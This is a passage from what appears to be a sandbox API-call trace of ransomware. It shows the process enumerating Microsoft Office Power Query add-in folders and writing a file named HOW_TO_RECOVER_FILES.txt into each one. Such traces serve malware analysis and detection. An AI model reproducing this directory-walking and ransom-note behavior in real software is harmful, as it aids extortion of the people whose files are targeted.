| out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0216.842] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.842] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0216.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0216.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0216.843] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro", lpFilePart=0x0) returned 0x68 [0216.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.843] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.844] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0216.844] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5fc257f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5fc257f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0216.844] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0216.844] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0216.844] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0216.844] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0216.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0216.845] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0216.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0216.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0216.846] GetFileType (hFile=0x630) returned 0x1 [0216.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0216.846] GetFileType (hFile=0x630) returned 0x1 [0216.847] WriteFile (in: hFile=0x630, lpBuffer=0x367f860*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x367f860*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0216.848] CloseHandle (hObject=0x630) returned 1 [0216.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0216.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru", lpFilePart=0x0) returned 0x68 [0216.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.849] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.849] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0216.849] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0216.850] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfbd422, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0216.850] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63a12a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63a12a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0216.850] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.850] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0216.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0216.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0216.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru", lpFilePart=0x0) returned 0x68 [0216.851] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.852] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.852] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0216.852] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0216.852] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfbd422, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0216.852] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63a12a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63a12a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0216.853] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63a12a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63a12a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0216.853] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0216.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0216.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0216.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0216.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0217.508] GetFileType (hFile=0x82c) returned 0x1 [0217.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0217.508] GetFileType (hFile=0x82c) returned 0x1 [0217.509] WriteFile (in: hFile=0x82c, lpBuffer=0x375fe28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x375fe28*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0217.509] CloseHandle (hObject=0x82c) returned 1 [0217.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0217.510] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk", lpFilePart=0x0) returned 0x68 [0217.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.512] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.512] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0217.512] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0217.512] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69be349, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69be349, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a0a7fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0217.512] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0217.512] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.512] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0217.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0217.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0217.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk", lpFilePart=0x0) returned 0x68 [0217.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.514] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.514] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0217.514] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", 